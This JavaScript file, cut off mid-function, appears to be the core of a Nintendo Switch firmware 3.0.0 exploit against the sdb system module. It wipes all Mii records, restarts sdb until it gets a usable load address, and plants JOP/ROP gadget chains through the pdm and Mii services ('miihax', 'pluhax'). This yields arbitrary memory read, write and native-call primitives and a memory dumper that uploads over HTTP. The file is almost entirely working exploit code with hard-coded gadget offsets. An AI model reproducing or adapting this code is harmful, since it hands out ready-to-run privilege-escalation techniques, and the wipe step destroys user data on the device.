sdbcore.js

var utils = require('./utils');
var svcMixin = require('./svc');
var sploitMixin = require('./sploitMixin');

function c32to8(data)
{
	var len = data.length;
	var ret = new Uint8Array(len * 4);
	var offs = 0;

	for(i = 0; i < len; i++)
	{
		ret[offs++] = data[i] & 0xFF;
		ret[offs++] = (data[i] >>> 8) & 0xFF;
		ret[offs++] = (data[i] >>> 16) & 0xFF;
		ret[offs++] = data[i] >>> 24;
	}

	return ret;
}

function c64to8(data)
{
	var len = data.length;
	var ret = new Uint8Array(len * 8);
	var offs = 0;

	for(i = 0; i < len; i++)
	{
		ret[offs++] = data[i][0] & 0xFF;
		ret[offs++] = (data[i][0] >>> 8) & 0xFF;
		ret[offs++] = (data[i][0] >>> 16) & 0xFF;
		ret[offs++] = (data[i][0] >>> 24) & 0xFF;
		ret[offs++] = data[i][1] & 0xFF;
		ret[offs++] = (data[i][1] >>> 8) & 0xFF;
		ret[offs++] = (data[i][1] >>> 16) & 0xFF;
		ret[offs++] = (data[i][1] >>> 24) & 0xFF;
	}

	return ret;
}

function c8to32(data)
{
	var len = data.length / 4;
	var ret = new Uint32Array(len);
	var offs = 0;

	for(i = 0; i < len; i++)
	{
		ret[i] = data[offs++];
		ret[i] |= data[offs++] << 8;
		ret[i] |= data[offs++] << 16;
		ret[i] |= data[offs++] << 24;
	}

	return ret;
}

function _crc(data, len)
{
	var crc = 0;

	for(j = 0; j < len; j++)
	{
		var v = 0x80;
		for(i = 0; i < 8; i++)
		{
			var xorf = crc & 0x8000;
			crc = (crc << 1) & 0xFFFF

			if(data[j] & v)
				crc = (crc + 1) & 0xFFFF;
			if(xorf)
				crc ^= 0x1021;
			v >>= 1;
		}
	}
	return crc;
}

function writePdm(payload)
{
//	var data = payload.buffer;
//	utils.hexdump("dat", data);
	sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk();
//	sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk();
	sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk();
}

function getMiiAuthorId()
{
	return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data);
}

function crcMiiBuf(b, authorid)
{
	var ret = new Uint8Array(b.length + 4);
	ret.set(b);

	var crc1 = _crc(ret, b.length + 2);
	ret[b.length] = crc1 >> 8;
	ret[b.length+1] = crc1 & 0xFF;

	var temp = new Uint8Array(authorid.length + ret.length);
	temp.set(authorid);
	temp.set(ret, authorid.length);

	var crc2 = _crc(temp, temp.length);
	ret[b.length+2] = crc2 >> 8;
	ret[b.length+3] = crc2 & 0xFF;

	return ret;
}

function AddOrReplace(hnd, key, unm, authorid)
{
	var crcbuf = new Uint8Array(unm.length + key.length);
	crcbuf.set(unm);
	crcbuf.set(key, unm.length);
	crcbuf = crcMiiBuf(crcbuf, authorid);

	var new_mii = new Uint8Array(crcbuf.length + 4);
	new_mii.set(crcbuf);

	var new_mii_as_words = c8to32(new_mii);

	var ipc = sc.ipcMsg(13);
	ipc.datau32.apply(ipc, new_mii_as_words);
	ipc.sendTo(hnd).assertOk();
}

function Move(hnd, key, pos)
{
	var data = new Uint32Array(key.length / 4 + 1);
	data.set(c8to32(key));
	data[data.length - 1] = pos;
	var ipc = sc.ipcMsg(12);
	ipc.datau32.apply(ipc, data);
	ipc.sendTo(hnd).assertOk();
}

function Delete(hnd, key)
{
	var data = c8to32(key);
	var ipc = sc.ipcMsg(14);
	ipc.datau32.apply(ipc, data);
	ipc.sendTo(hnd).assertOk();
}

function GetCount(hnd)
{
	ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0];
//	utils.log("mii count is " + ret.toString());
	return ret;
}

function GetDefault(hnd, offset)
{
	ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk();
	return ret.data;
}

function GetLoadBase(hnd, authorid)
{
	var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);
	var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]);

	AddOrReplace(hnd, key, unm, authorid);

	var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4);

	Delete(hnd, key);

	return utils.add2([data[5], data[6]], -0x9c540);
}

function Wipe(hnd)
{
	var buf = new Uint8Array(100*0x44);
	var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0];

	if(!count)
		return;

	utils.log("mii count to delete " + count.toString());

	var key = new Uint8Array(16);

	for(mii = 0; mii < count; mii++)
	{
		for(j = 0; j < 16; j++)
			key[j] = buf[j + 48 + mii * 0x44];
		Delete(hnd, key);
	}
}


function getServicePid(service)
{
	var res = sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).assertOk();
	sc.svcCloseHandle(res.movedHandles[0]);
	return res.pid[0];
}

function checkMiiCode(code)
{
	var checker = [0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136];
	return checker.indexOf(code) >= 0;
}

var sdbcore = function(sc, vers) {
	if (!sdbcore.prototype.importedMixins) {
		Object.keys(svcMixin).forEach((k) => {
			sdbcore.prototype[k] = svcMixin[k];
		});

		Object.keys(sploitMixin).forEach((k) => {
			sdbcore.prototype[k] = sploitMixin[k];
		});

		sdbcore.prototype.importedMixins = true;
	}

	utils.log('Starting sdbcore...');
	this.sc = sc;
	window.sc = sc;
	this.initialized = false;
	this.vers = vers;
	this.offsets = this.get_offsets();
	if (this.offsets == null) {
		utils.log('Unknown version: '+vers);
		return;
	}
	this.svcs = this.offsets['svc_dic'];

	this.sploitMixinInit();

	utils.log('Pwning sdb...');
	this.initialize(this.sc);
	utils.log('Pwned sdb...');
};

sdbcore.prototype.name = "sdb";

sdbcore.prototype.queryMem = function(addr, raw) {
	if(arguments.length == 1)
		raw = false;

	var meminfo = utils.add2(this.sdb_base, 0x40000);
	var pageinfo = utils.add2(this.sdb_base, 0x40028);

	var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX'];
	var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED'];
	this.svc(0x6, [meminfo, pageinfo, addr]);

	var ms = this.rw.read(utils.add2(meminfo, 0x10));
	ms =  utils.paddr(ms);
	/*if(!raw && ms[1] == 0 && ms[0] < memstates.length)
    ms = memstates[ms[0]];
    else if(!raw)
    ms = 'UNKNOWN'*/
	var mp = this.rw.read(utils.add2(meminfo, 0x18));
	if(!raw && mp[1] == 0 && mp[0] < memperms.length)
		mp = memperms[mp[0]];

	var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)];

	return data;
};


sdbcore.prototype.svc = function(id, registers, dump_regs) {
	if (arguments.length == 2)
		dump_regs = false;
	if (!(id in this.svcs)) {
		utils.log('Error: sdb does not contain svc 0x'+id.toString(16));
		return null;
	}
	return this.slowCall(this.svcs[id], registers, [], dump_regs);
};

sdbcore.prototype.resetModule = function() {
	// wipe all miis
	this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0];
	utils.log("mii handle is 0x" + this.handle.toString(16));
	utils.log("wipe miis ...");
	Wipe(this.handle);

	var resetcount = 0;
	var sdbPid = getServicePid(this.handle);
	var tid = utils.parseAddr('0100000000000039');

	utils.log("reloading sdb, this might take a while ...");

	while(1)
	{
		sc.svcCloseHandle(this.handle);
		sc.killAutoHandle();

		// restart sdb
		sc.ipcMsg(1).data(sdbPid).sendTo('pm:shell').assertOk();
		sdbPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').data[0];
		utils.log("new sdb pid: 0x" + sdbPid.toString(16));

		this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0];

		this.sdb_base = GetLoadBase(this.handle, this.authorid);
	//	utils.log("this.sdb_base at " + utils.paddr(this.sdb_base));

		if(checkMiiCode(this.sdb_base[0] >>> 24) && checkMiiCode((this.sdb_base[0] >>> 16) & 0xFF) && this.sdb_base[1] > 0)
		{
			utils.log("sdb pid is 0x" + sdbPid.toString(16) + " this.sdb_base at " + utils.paddr(this.sdb_base));
			utils.log("** good base ***");
			break;
		}
		resetcount++;
	}
};

function add64(buf, offs, data)
{
	buf[offs++] = data[0] & 0xFF;
	buf[offs++] = (data[0] >>> 8) & 0xFF;
	buf[offs++] = (data[0] >>> 16) & 0xFF;
	buf[offs++] = (data[0] >>> 24) & 0xFF;
	buf[offs++] = data[1] & 0xFF;
	buf[offs++] = (data[1] >>> 8) & 0xFF;
	buf[offs++] = (data[1] >>> 16) & 0xFF;
	buf[offs++] = (data[1] >>> 24) & 0xFF;
}

sdbcore.prototype.setupBuffers = function() {
	this.scratch = utils.add2(this.sdb_base, 0x14ED00);
	
	this.pdm_base = utils.add2(this.sdb_base, 0x150ec0);
	utils.log("this.pdm_base at " + utils.paddr(this.pdm_base));

	var returnAddr = utils.add2(this.sdb_base, 0x2fc58);

	// rewrite pl:u cmd1
	var writeAddr = utils.add2(this.sdb_base, 0x99A98);
	var writeValue = utils.add2(this.sdb_base, 0x017d80); // gadget 0

	var buf = new Uint8Array(0x700);

	/// JOP chains
	// notice how nicely are these values compacted

	// miihax arb.write
	add64(buf, 0x0000, utils.add2(this.pdm_base, 0x0020)); // A
	add64(buf, 0x0008, writeAddr);
	add64(buf, 0x0010, utils.add2(this.sdb_base, 0x2d170)); // *B
	add64(buf, 0x0018, utils.add2(this.sdb_base, 0x6740));
	add64(buf, 0x0020, utils.add2(this.pdm_base, 0x0010)); // *A; B
	add64(buf, 0x0028, utils.add2(this.sdb_base, 0x7160)); // *D
	add64(buf, 0x0030, utils.add2(this.sdb_base, 0x53430)); // *A + 0x10
	add64(buf, 0x0038, utils.add2(this.pdm_base, 0x0040)); // *A + 0x18; C
	add64(buf, 0x0040, utils.add2(this.pdm_base, 0x0028)); // *C; D
	add64(buf, 0x0048, utils.add2(this.pdm_base, 0x0060)); // *E; F
	add64(buf, 0x0050, utils.add2(this.sdb_base, 0x2f090)); // *D + 0x28
	add64(buf, 0x0058, utils.add2(this.pdm_base, 0x0048)); // *C + 0x18; E
	add64(buf, 0x0060, utils.add2(this.pdm_base, 0x0060)); // *F; G
	add64(buf, 0x0068, utils.add2(this.sdb_base, 0x7160)); // *G + 0x08
	add64(buf, 0x0070, utils.add2(this.sdb_base, 0x7160)); // *B + 0x60
	add64(buf, 0x0078, utils.add2(this.pdm_base, 0x0080)); // *F + 0x18; H
	add64(buf, 0x0080, utils.add2(this.pdm_base, 0x0098)); // *H; I
	add64(buf, 0x0088, utils.add2(this.sdb_base, 0x2d5f8)); // *F + 0x28
	add64(buf, 0x0090, utils.add2(this.sdb_base, 0x47cc8)); // *F + 0x30
	add64(buf, 0x0098, utils.add2(this.sdb_base, 0x7218)); // *G + 0x38
	add64(buf, 0x00a0, returnAddr); // *I + 0x08
	add64(buf, 0x00a8, writeValue); // *I + 0x10 
	// note: b0 - b8 used
	add64(buf, 0x00c0, utils.add2(this.sdb_base, 0x2d5f8)); // *I + 0x28
	add64(buf, 0x00c8, utils.add2(this.sdb_base, 0x4b46c)); // *I + 0x30
	// pluhax arb.read and arb.write; both share 'first stage'
	add64(buf, 0x00b0, utils.add2(this.pdm_base, 0x0c0)); // A
	add64(buf, 0x00b8, utils.add2(this.pdm_base, 0x0d8)); // B
	// note: c0 - c8 used
	add64(buf, 0x00d0, utils.add2(this.sdb_base, 0x0026cc)); // *A + 16; gatget 4
	add64(buf, 0x00d8, utils.add2(this.pdm_base, 0x110)); // *B; C
	add64(buf, 0x00e0, utils.add2(this.pdm_base, 0x148)); // *E; F
	add64(buf, 0x00e8, utils.add2(this.pdm_base, 0x120)); // *E + 8; G
	add64(buf, 0x00f0, utils.add2(this.sdb_base, 0x0033d0)); // *A + 48; gatget 3
	add64(buf, 0x00f8, utils.add2(this.sdb_base, 0x01349c)); // *B + 32; gatget 10
	add64(buf, 0x0100, utils.add2(this.pdm_base, 0x0e0)); // *D + 8; E
	add64(buf, 0x0108, utils.add2(this.sdb_base, 0x025d08)); // *B + 48; gatget 6
	add64(buf, 0x0110, utils.add2(this.sdb_base, 0x04de9c)); // *C; gatget 5
	add64(buf, 0x0118, utils.add2(this.sdb_base, 0x014134)); // *C + 8; gatget 7
	add64(buf, 0x0120, utils.add2(this.pdm_base, 0x158)); // *G; H
	add64(buf, 0x0128, utils.add2(this.sdb_base, 0x02d6c8)); // *C + 24; gatget 8
	add64(buf, 0x0130, utils.add2(this.pdm_base, 0x168)); // Z
	add64(buf, 0x0138, utils.add2(this.pdm_base, 0x0f8)); // *B + 96; D
	add64(buf, 0x0140, utils.add2(this.sdb_base, 0x00638c)); // *B + 104; gatget 11
	add64(buf, 0x0148, utils.add2(this.sdb_base, 0x04dbf8)); // *F; gatget 12
	add64(buf, 0x0150, utils.add2(this.sdb_base, 0x02de0c)); // *F + 8; gatget14w
	add64(buf, 0x0158, utils.add2(this.sdb_base, 0x020C84)); // *G; returnW; *V + 40; returnR
	add64(buf, 0x0160, utils.add2(this.sdb_base, 0x002850)); // *G + 8; gatget16w
	add64(buf, 0x0168, utils.add2(this.pdm_base, 0x170)); // *Z; Y
	add64(buf, 0x0170, utils.add2(this.pdm_base, 0x1a8)); // *X; W
	add64(buf, 0x0178, utils.add2(this.pdm_base, 0x180)); // *X + 8; U
	add64(buf, 0x0180, utils.add2(this.pdm_base, 0x1b8)); // *U; T
	add64(buf, 0x0188, utils.add2(this.sdb_base, 0x0071e0)); // *F + 64; gatget15w
	add64(buf, 0x0190, utils.add2(this.pdm_base, 0x130)); // *X + 32; V
	add64(buf, 0x0198, utils.add2(this.sdb_base, 0x04dbf8)); // *Y + 40; gatget 15r
	add64(buf, 0x01a0, utils.add2(this.sdb_base, 0x002850)); // *X + 48; gatget 16r
	add64(buf, 0x01a8, utils.add2(this.sdb_base, 0x02dd5c)); // *W; gatget 14r
	add64(buf, 0x01b0, utils.add2(this.pdm_base, 0x170)); // *Z + 72; X
	add64(buf, 0x01b8, utils.add2(this.sdb_base, 0x035180)); // *T; gatget 17r
	// pluhax leak SP
	add64(buf, 0x01c0, utils.add2(this.pdm_base, 0x1c8)); // *C; D
	add64(buf, 0x01c8, utils.add2(this.sdb_base, 0x035180)); // *D; gatget 10
	add64(buf, 0x01d0, utils.add2(this.sdb_base, 0x002850)); // *D + 8; gatget 9
	add64(buf, 0x01d8, utils.add2(this.sdb_base, 0x011b38)); // gatget 7
	add64(buf, 0x01e0, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.*
	add64(buf, 0x01e8, utils.add2(this.pdm_base, 0x1f0)); // A
	add64(buf, 0x01f0, utils.add2(this.pdm_base, 0x228)); // *A; gatget 5 ptr
	add64(buf, 0x01f8, utils.add2(this.pdm_base, 0x1f8)); // *A + 8; B
	add64(buf, 0x0200, utils.add2(this.pdm_base, 0x1c0)); // *B + 8; C
	add64(buf, 0x0208, utils.add2(this.pdm_base, 0x218)); // *C + 72; E
	add64(buf, 0x0210, utils.add2(this.pdm_base, 0x130)); // *A + 32; return ptr; shared with arb.*
	add64(buf, 0x0218, utils.add2(this.pdm_base, 0x1d8)); // *E; gatget 7 ptr
	add64(buf, 0x0220, utils.add2(this.sdb_base, 0x02d8d4)); // *A + 48; gatget 6
	add64(buf, 0x0228, utils.add2(this.sdb_base, 0x04de98)); // gatget 5
	// almost filled
	add64(buf, 0x0290, utils.add2(this.sdb_base, 0x04a3a8)); // *D + 200; gatget 8

	//add64(buf, 0x02e0, 0); // *C + 288; leaked SP

	// pluhax arb.call
	add64(buf, 0x0230, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.*
	add64(buf, 0x0238, utils.add2(this.pdm_base, 0x240)); // A
	add64(buf, 0x0240, utils.add2(this.pdm_base, 0x268)); // *A; gatget 5 ptr
	add64(buf, 0x0248, utils.add2(this.pdm_base, 0x258)); // *A + 8; B
	add64(buf, 0x0250, utils.add2(this.pdm_base, 0x260)); // *B - 8; C
	add64(buf, 0x0258, utils.add2(this.pdm_base, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr
	add64(buf, 0x0260, utils.add2(this.pdm_base, 0x1b8)); // gatget 11 ptr; shared with arb.*
	add64(buf, 0x0268, utils.add2(this.sdb_base, 0x014104)); // gatget 5
	add64(buf, 0x0270, utils.add2(this.pdm_base, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.*
	add64(buf, 0x0278, utils.add2(this.sdb_base, 0x01349c)); // *C + 24; gatget 6
	add64(buf, 0x0280, utils.add2(this.sdb_base, 0x02850)); // pdmNext1 + 48; gatget 10

	//add64(buf, 0x02a0, utils.add2(this.sdb_base, 0x2fc68)); // *A + 96; callAddr
	add64(buf, 0x02a8, utils.add2(this.sdb_base, 0x002c0)); // *A + 104; gatget 7

	add64(buf, 0x02d0, utils.add2(this.sdb_base, 0x4de98)); // pdmNext0; gatget 9

	//add64(buf, 0x02e8, 0); // storeAddr; returned X0
	//add64(buf, 0x02f0, 0); // storeAddr+8; returned X1


	add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out

	utils.log("writePdm ...");
	writePdm(buf); // seems like it works reliably only once

	key = c64to8([this.pdm_base, [0xde000080, 0]]);

	var payload = new Uint8Array(48);
	add64(payload, 24, this.sdb_base); // 32bit LSB is kinda limited, so is 32bit MSB

	AddOrReplace(this.handle, key, payload, this.authorid);

	utils.log("trigger ...");
	Move(this.handle, key, 100);

	utils.log("cleanup ...");
	sc.svcCloseHandle(this.handle);
	sc.killAutoHandle();

	// prepare
	utils.log("entering pluhax ...");

	// arb.read and arb.write
	this.ipcGat1 = utils.add2(this.sdb_base, 0x00f194);
	this.ipcGat2 = utils.add2(this.sdb_base, 0x03f8a8);
	this.ipcGat9 = utils.add2(this.sdb_base, 0x0304c0);
	this.ipcGat13r = utils.add2(this.sdb_base, 0x02d8d4);
	this.ipcGat13w = utils.add2(this.sdb_base, 0x029b50);
	this.pdmEntry = utils.add2(this.pdm_base, 0x00b0); // JOP chain; shared for arb.read and arb.write
	this.pdmNext = utils.add2(this.pdm_base, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130)

	// sp leak
	this.pdmLeakE = utils.add2(this.pdm_base, 0x1e0);

	// arb.call
	this.pdmCallE = utils.add2(this.pdm_base, 0x230);

	// shared for all calls (or ignored in some)
	this.ipcData = new Uint32Array(24);
	this.ipcData[15] = this.ipcGat1[0];
	this.ipcData[16] = this.ipcGat1[1];
	this.ipcData[17] = this.ipcGat9[0];
	this.ipcData[18] = this.ipcGat9[1];
	this.ipcData[19] = this.ipcGat2[0];
	this.ipcData[20] = this.ipcGat2[1];

	// run
	utils.log("trigger ..."); // return address: 0x020C84

	// get SP
	this.sdbPluSP = this.getSP();
	utils.log("pluSP at " + utils.paddr(this.sdbPluSP));

	// arb.call - prepare stack (permanent; maybe check after some calls?)
	this.write8(utils.add2(this.pdm_base, 0x2e8), utils.add2(this.sdbPluSP, 200)); // storeAddr (pdmNext0+24)
	this.write8(utils.add2(this.sdb_base, 0x579a8), utils.add2(this.sdbPluSP, 216)); // ROP chain 0
	this.write8(utils.add2(this.sdb_base, 0x01d44), utils.add2(this.sdbPluSP, 248)); // ROP chain 1
	this.write8(utils.add2(this.sdb_base, 0x4e950), utils.add2(this.sdbPluSP, 296)); // ROP chain 2
	this.write8(utils.add2(this.sdb_base, 0x1a0b8), utils.add2(this.sdbPluSP, 488)); // ROP chain 3
	this.write8(utils.add2(this.sdb_base, 0x3ca1c), utils.add2(this.sdbPluSP, 776)); // gatget 8
	this.write8(utils.add2(this.pdm_base, 0x2d0), utils.add2(this.sdbPluSP, 456)); // pdmNext0
	this.write8(utils.add2(this.pdm_base, 0x250), utils.add2(this.sdbPluSP, 760)); // pdmNext1
};

sdbcore.prototype.getSP = function() {
	// there is an offset between returned value and actualy saved one
	// i do not know if it is possible to get random addres that will make this fail
	// if so, just use read4 on this.pdm_base + 0x2e0 and from result subtract 0x3A8 instead

	this.ipcData[5] = this.pdmLeakE[0];
	this.ipcData[6] = this.pdmLeakE[1];

	var sp = [0,0]
	var ipc = sc.ipcMsg(1);
	ipc.datau32.apply(ipc, this.ipcData);
	sp[0] = ipc.sendTo('pl:u').cmdId;
	sp[1] = this.read4(utils.add2(this.pdm_base, 0x2e0 + 4)); // 32bit MSB

	return utils.sub2(sp, 0x328);
}


sdbcore.prototype.initialize = function(sc) {
	if (this.initialized) {
		utils.log('Already initialized...returning.');
		return;
	}

	this.authorid = getMiiAuthorId();
	utils.log("Author ID: " + Array.apply([], this.authorid).join(","));

	this.resetModule();
	this.setupBuffers();

	// write / read test
	var testAddr = utils.add2(this.pdm_base, 0x300);

	// write value
	utils.log("... write");
	this.write8([0x29910BAF, 0x11223344], testAddr);
	// read back
	utils.log("... read");
	var retVal = this.read8(testAddr);
	utils.log("read value: " + utils.paddr(retVal));

	utils.log('... call');
	utils.log('call: ' + utils.paddr(this.slowCall(0x02868, [[0xF00D1234, 0x1122aabb]])));

	if (this.vers == '3.0.0') {
		utils.log('Setting up RO hax...');
		this.setup_ro_hax();
	}

	this.initialized = true;
};

sdbcore.prototype.get_offsets = function() {
	var offset_dic = {
		'3.0.0' : {
			'memcpy' : 0x3a5f8, 
			'svc_dic' : {
				0x2 : 0x2fbf8,
				0x3 : 0x2fc00,
				0x4 : 0x2fc08,
				0x5 : 0x2fc10,
				0x6 : 0x2fc18,
				0x7 : 0x2fc30,
				0x8 : 0x2fc3c,
				0x9 : 0x2fc50,
				0xA : 0x2fc58,
				0xB : 0x2fc60,
				0xC : 0x2fc68,
				0x10 : 0x2fc80,
				0x12 : 0x2fc88,
				0x13 : 0x2fc90,
				0x14 : 0x2fc98,
				0x16 : 0x2fca0,
				0x18 : 0x2fca8,
				0x19 : 0x2fcc0,
				0x1A : 0x2fcc8,
				0x1B : 0x2fcd0,
				0x1C : 0x2fcd8,
				0x1D : 0x2fce0, 
				0x1F : 0x2fce8,
				0x21 : 0x2fd00,
				0x22 : 0x2fd08,
				0x25 : 0x2fd10,
				0x26 : 0x2fd28,
				0x27 : 0x2fd30,
				0x28 : 0x2fd38,
				0x29 : 0x2fd40,
				0x2c : 0x2fd58, 
				0x2d : 0x2fd60, 
				0x40 : 0x2fd80,
				0x41 : 0x2fda0,
				0x43 : 0x2fdb8,
				0x44 : 0x2fdd0,
				0x50 : 0x2fd68
			}
		}
	};
	if (this.vers in offset_dic) {
		return offset_dic[this.vers];
	}
	return null;
};

sdbcore.prototype.memdump = function(start, totalSize, name) {
	var end = utils.add2(start, totalSize);
	if (arguments.length == 2) {
		name = 'memdumps_sdb/sdb - '+utils.paddr(start) + ' - ' + utils.paddr(end) + '.bin';
	}

	var buf = new Uint32Array(8 * 1024 * 1024 / 4);
	var addr = sc.read8(sc.getAddr(buf), 4);

	utils.log('Dumping memory to '+name+'!');
	for(var idx = 0; idx < totalSize; idx += 0x700000) {
		size = totalSize - idx;
		size = size > 0x700000 ? 0x700000 : size;
		this.sc.gc();
		var obj = new sdbown(buf);
		var base = this.leakPrev(8);
		var sdbbuf = utils.add2(base, 0x100000);

		this.slowCall(this.offsets['memcpy'], [sdbbuf, start, size]);
		obj.svc.leak();

		this.sc.memview(utils.add2(addr, 0x100000), size, function(ab) {
			var view = new Uint8Array(ab);
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '/filedump', false);
			xhr.setRequestHeader('Content-Type', 'application/octet-stream');
			xhr.setRequestHeader('Content-Disposition', name);
			xhr.send(view);
		});
	}
	this.sc.gc();
	utils.log('Dumped memory succesfully!');
};

sdbcore.prototype.slowCall = function(funcptr, args, fargs, dump_regs) {
	if(typeof(funcptr) == 'number') {
		funcptr = utils.add2(this.sdb_base, funcptr);
	}
	switch(arguments.length) {
	case 1:
		args = [];
	case 2:
		fargs = [];
	case 3:
		dump_regs = false;
	}

	for (var i = 0; i < args.length; i++) {
		if (typeof(args[i]) == 'number') {
			args[i] = [args[i], 0];
		}
	}

	var scratchOff = 0;

	// Write registers for native code.
	if(args.length > 0) {
		for(var i = 0; i < 8 && i < args.length; i++) {
			if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
				var size = args[i].byteLength;
				var saddr = utils.add2(this.scratch, scratchOff);
				this.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size);
				this.write8(saddr, utils.add2(this.sdbPluSP, 128 + 8 * i));
				scratchOff += size;
				if(scratchOff & 0x7)
					scratchOff = (scratchOff & 0xFFFFFFF8) + 8;
			} else
				this.write8(args[i], utils.add2(this.sdbPluSP, 128 + 8 * i));
		}
	}

	this.write8(funcptr, utils.add2(this.pdm_base, 0x2a0));

	this.ipcData[5] = this.pdmCallE[0];
	this.ipcData[6] = this.pdmCallE[1];

	var ipc = sc.ipcMsg(1);
	ipc.datau32.apply(ipc, this.ipcData);
	var lo = ipc.sendTo('pl:u').cmdId;

	scratchOff = 0;
	if(args.length > 0) {
		for(var i = 0; i < 30 && i < args.length; i++) {
			if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
				var size = args[i].byteLength;
				var saddr = utils.add2(this.scratch, scratchOff);
				this.memcpyToBrowser(args[i], saddr, size);
				scratchOff += size;
				if(scratchOff & 0x7)
					scratchOff = (scratchOff & 0xFFFFFFF8) + 8;
			}
		}
	}
	return [lo, this.read4(utils.add2(this.pdm_base, 0x2e8 + 4))];
};

sdbcore.prototype.read8 = function(addr) {
	return [this.read4(addr), this.read4(utils.add2(addr, 4))];
};

sdbcore.prototype.read4 = function(addr) {
	var id2 = new Uint32Array(24);
	id2[3] = this.pdmNext[0];
	id2[4] = this.pdmNext[1];
	id2[5] = this.pdmEntry[0];
	id2[6] = this.pdmEntry[1];
	id2[9] = addr[0];
	id2[10] = addr[1];
	id2[13] = this.ipcGat13r[0];
	id2[14] = this.ipcGat13r[1];
	id2[15] = this.ipcGat1[0];
	id2[16] = this.ipcGat1[1];
	id2[17] = this.ipcGat9[0];
	id2[18] = this.ipcGat9[1];
	id2[19] = this.ipcGat2[0];
	id2[20] = this.ipcGat2[1];

	var ipc = sc.ipcMsg(1);
	ipc.datau32.apply(ipc, id2);
	return ipc.sendTo('pl:u').cmdId;
};

sdbcore.prototype.read2 = function(addr) {
	throw 'sdbcore.read2 not implemented';
};

sdbcore.prototype.read1 = function(addr) {
	throw 'sdbcore.read1 not implemented';
};

sdbcore.prototype.write8 = function(val, addr) {
	var id = new Uint32Array(24);
	id[3] = addr[0];
	id[4] = addr[1];
	id[5] = this.pdmEntry[0];
	id[6] = this.pdmEntry[1];
	id[9] = val[0];
	id[10] = val[1];
	id[13] = this.ipcGat13w[0];
	id[14] = this.ipcGat13w[1];
	id[15] = this.ipcGat1[0];
	id[16] = this.ipcGat1[1];
	id[17] = this.ipcGat9[0];
	id[18] = this.ipcGat9[1];
	id[19] = this.ipcGat2[0];
	id[20] = this.ipcGat2[1];

	var ipc = sc.ipcMsg(1);
	ipc.datau32.apply(ipc, id);
	ipc.sendTo('pl:u');
};

sdbcore.prototype.write82 = function(val, addr) {
	var id = new Uint32Array(24);
	id[3] = addr[0];
	id[4] = addr[1];
	id[5] = this.pdmEntry[0];
	id[6] = this.pdmEntry[1];
	id[9] = val[0];
	id[10] = val[1];
	id[13] = this.ipcGat13w[0];
	id[14] = this.ipcGat13w[1];
	id[15] = this.ipcGat1[0];
	id[16] = this.ipcGat1[1];
	id[17] = this.ipcGat9[0];
	id[18] = this.ipcGat9[1];
	id[19] = this.ipcGat2[0];
	id[20] = this.ipcGat2[1];

	var ipc = sc.ipcMsg(1);
	ipc.datau32.apply(ipc, id);
	ipc.sendTo('pl:u');
};

sdbcore.prototype.write4 = function(val, addr) {
	throw 'sdbcore.write4 not implemented';
};

sdbcore.prototype.write2 = function(val, addr) {
	throw 'sdbcore.write2 not implemented';
};

sdbcore.prototype.write1 = function(val, addr) {
	throw 'sdbcore.write1 not implemented';
};

sdbcore.prototype.memcpyFromBrowser = function(dst, src, size) {
	for(var i = 0; i < size; i += 8) {
		var s = utils.add2(src, i);
		//utils.log('[Bro] Reading ' + i);
		var v = [src[i >>> 2], src[(i >>> 2) + 1]];
		//utils.log('[SDB] Writing ' + utils.paddr(v) + ' to ' + i);
		this.write82(v, utils.add2(dst, i));
	}
};

sdbcore.prototype.memcpyToBrowser = function(dst, src, size) {
	var sub = [];
	for(var i = 0; i < size; i += 4) {
		//utils.log('[SDB] Reading ' + i);
		var v = this.read4(utils.add2(src, i));
		//utils.log('[Bro] Writing ' + v.toString(16) + ' to ' + i);
		dst[i >> 2] = v;
	}
};

sdbcore.prototype.malloc = function(size) {
	//return this.slowCall(this.offsets['malloc'], [0, size]);
};

sdbcore.prototype.free = function(addr) {
	//this.slowCall(this.offsets['free'], [0, addr]);
};

sdbcore.prototype.setup_ro_hax = function() {
	var sdbIpcBuf = utils.add2(this.sdb_base, 0x150000);
	
	var sdb = this;
	var sc = this.sc;

	function waitHandles(handles) {
